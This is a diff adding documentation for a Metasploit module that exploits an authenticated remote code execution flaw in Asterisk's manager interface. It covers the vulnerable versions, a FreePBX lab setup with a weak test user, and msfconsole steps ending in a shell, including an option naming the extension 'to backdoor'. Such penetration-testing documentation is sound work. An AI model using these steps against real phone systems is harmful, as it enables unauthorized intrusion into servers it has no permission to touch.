+## Vulnerable Application
+
+On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
+versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
+all configuration files in the '/etc/asterisk/' directory. Writing a new extension
+can be created which performs a system command to achieve RCE as the asterisk service
+user (typically asterisk).
+
+Default parking lot in FreePBX is called "Default lot" on the website interface,
+however its actually 'parkedcalls'.
+
+Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
+
+### Install
+
+One easy method, while outdated, is using the FreePBX ISO.
+
+1. Boot to ISO and install the system. Choose Asterisk 19
+2. Visit the web interface on port 80
+3. Complete initial setup, make sure to not do updates.
+4. login
+5. Click FreePBX Administration
+6. Click the hamburger > Applications > Parking
+7. Check the parking extension and name (`70` and `Default lot` are the defaults)
+8. Login (ssh/local) and edit `/etc/asterisk/manager.conf`
+  1. Under `[general]`:
+    1. Change `bindaddr` value to `0.0.0.0`
+    2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0`
+    3. Add the following at the bottom of the file:
+    ```
+[testuser]
+secret=testuser
+write=originate
+permit=0.0.0.0/255.255.255.0
+    ```
+9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up)
+
+Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce`
+1. Do: `set rhosts <rhost>`
+1. Do: `set lhost <lhost>`
+1. Do: `set username <username>`
+1. Do: `set password <password>`
+1. You should get a shell.
+
+## Options
+
+### CONF
+
+The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf`
+
+### PARKINGLOT
+
+The extensions and name of the parking lot. Defaults to `70@parkedcalls`
+
+### EXTENSION
+
+The extension number to backdoor. Defaults to a random number between 3-5 digits.
+
+## Scenarios
+
+### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19
